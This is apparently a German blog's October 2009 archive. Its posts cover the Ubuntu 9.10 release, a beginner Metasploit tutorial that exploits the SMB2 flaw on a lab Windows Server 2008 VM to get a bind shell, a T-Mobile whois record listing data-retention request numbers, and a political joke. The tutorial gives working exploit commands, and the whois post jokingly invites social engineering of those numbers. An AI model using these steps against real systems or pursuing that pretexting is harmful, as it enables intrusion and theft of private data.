Monthly Archives: Oktober 2009

Ubuntu 9.10 erschienen

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Heute ist die fertige Ubuntu Version 9.10 erschienen. Die neue Ubuntu Version bekommt den , Codename Karmic Koala. Als Kernel kommt der Kernel 2.6.31 zum Einstaz. Als Desktop Gnome 2.28, aber mit einer Vorabversion der für Gnome 3.0 geplanten Gnome Shell.Standardmäßig wird die Distribution als Filesystem ext4 und als Bootmanager Grub 2 verwenden.

Ich persönlich habe mein Ubuntu noch nicht auf die Version 9.10 geupgradet. Ich werde aber vermutlich dies am Wochenende tun.

Downloads zu Ubuntu bekommt ihr hier: (Desktop, Server, netbook remix)

HIER

Tut: msfconsole 4 beginners

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Hey Leute,

ich habe ein kleines Tutorial geschrieben für Metasploit. Speziell für die Konsole ( msfconsole )

Ich verwende hier die Metasploit Version 3.3-dev. Der Stable release 3.3 ist für mitte November angekündigt.

Aber weiter zum Tutorial.

Wir starten mal msfconsole:

[BILD 1]

Als ziel verwende ich ein Windows Server 2008 Enterprise der in einer VM läuft.

Wir suchen nun in der Konsole nach einem Exploit für den Windows Server 2008.

Dies machen wir mit den Befehl:

search exploits ””windows 2008””

[BILD 2]

Als Ergebniss bekommen wir folgendes:

Name Description

—- ———–

windows/smb/smb2_negotiate_func_index Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

Um jetzt diesen Exploit zu verwenden müssen wir mit dem Befehl

use windows/smb/smb2_negotiate_func_index

Metasploit sagen das wir diesen Exploit verwenden wollen.

Nun geben wir den Befehl

show options

ein

[BILD 3]

Wir sehen das RHOST noch nicht gesetzt wurde. Da müssen wir die IP des Servers eintragen.

RPORT = Ist der Port worauf der Vuln. Service lauscht.

Bei mir ist das die IP 192.168.251.136

Mit folgenden Befehl setzen wir die IP in RHOST:

set RHOST [ip]

also bei mir:

set RHOST 192.168.251.136

Wenn wir nochmal show options eingeben sehen wir das RHOST gesetzt wurde.

[BILD 4]

Als nächstes brauche wir ein Payload um hinter auf die Maschine zukommen.

Mit dem befehl:

show payloads

können wir uns die passende Payloads für den Exploit anzeigen lassen.

Als Payload nehme ich:

windows/shell_bind_tcp

[BILD 5]

Mit dem befehl

set payload windows/shell_bind_tcp

können wir den gewünschten Payload verwenden.

Nochmal mit show options gucken ob der Payload auch geladen wurde.


Der Payload wird nachdem der Exploit ausgeführt wir eine shell an den Port 444 binden.

Wir haben jetzt alles brauchbares zusammen um den Angriff zu starten.

Starten tun wir den Angriff mit dem Befehl

exploit

[BILD 6]

Wir sehen nun das eine CMD shell in der msfconsole aufgetaucht ist. Das bedeutet das wir erfolgreich auf den Windows Server 2008 eingedrungen sind.


[BILD 7]

ACHTUNG!!!!!

Natürlich braucht man die Erlaubnis des Administrators wenn man einen Server eindringen will.

Hat man diese nicht aber man macht es trotzdem begeht man eine Straftat.

Ich habe euch die sich nicht mit der Konsole von Metasploit auskennen diese nur etwas näher gebracht.

Wenn jetzt jemand meint das er mit diesem Wissen scheiße bauen muss sollte lieber raus Fußball spiele gehen. Ich hafte nicht dafür wenn ihr zu doof seid und damit eine straftat begeht ^^

Aber wenn ich fragen oder so hat könnt ihr mich gerne fragen.

freak_out [AT] phcn [DOT] de

T-Mobile Vorratsdatenspeicherung Hotline

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Ich habe gerade eine eMail vom DarthShredder bekommen mit einer Whois-Abfrage. Gut einige werden jetzt vllt. Sagen eine Whois-Abfrage? Was daran so besonders. Tja seht selbst:

inetnum: 80.187.0.0 – 80.187.111.255
netname: CUSTOMERS-DE
descr: T-Mobile Deutschland GmbH
country: DE
admin-c: TH12429-RIPE
tech-c: MS47198-RIPE
tech-c: AS8728-RIPE
status: ASSIGNED PA
remarks:
***************************************************************************
remarks: Please send any abuse complaints to: abuse@t-mobile.de
remarks: Behoerdenauskuenfte bzgl. Vorratsdatenspeicherung koennen
nur ueber folgende Ruf- bzw. Faxnummern beantwortet werden:
remarks: Fax: 0900-58812-77 (0,03 Euro/Minute aus dem
Festnetz der Deutschen Telekom AG.)
remarks: Tel.: 0900-58812-66 (0,03 Euro/Minute aus dem
Festnetz der Deutschen Telekom AG.)
remarks:
***************************************************************************
mnt-by: MNT-TMD
source: RIPE # Filtered

Na habt ihr was interessantes gefunden?

Richtig in der Whois abfrage steht eine Ruf- bzw. Faxnummern wo behörden sich Auskünfte über die Vorratsdatenspeicherung holen können.


remarks: Behoerdenauskuenfte bzgl. Vorratsdatenspeicherung koennen
nur ueber folgende Ruf- bzw. Faxnummern beantwortet werden:
remarks: Fax: 0900-58812-77 (0,03 Euro/Minute aus dem
Festnetz der Deutschen Telekom AG.)
remarks: Tel.: 0900-58812-66 (0,03 Euro/Minute aus dem
Festnetz der Deutschen Telekom AG.)

Was man da wohl für Informationen holen kann??!!?! Social engineering Experten ihr seid dran :D

Finde das schon krass das so was in einer Whois Abfrage drinne steht.

Dancing Schäuble!

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Klingt komisch ist aber so. Unser Innenminister kann Tanzen! Und zwar nicht mit seinem Rollstuhl sondern im stehen! :D

Guckt selber :

Auftritt von Schäuble im Mexikantenstadl!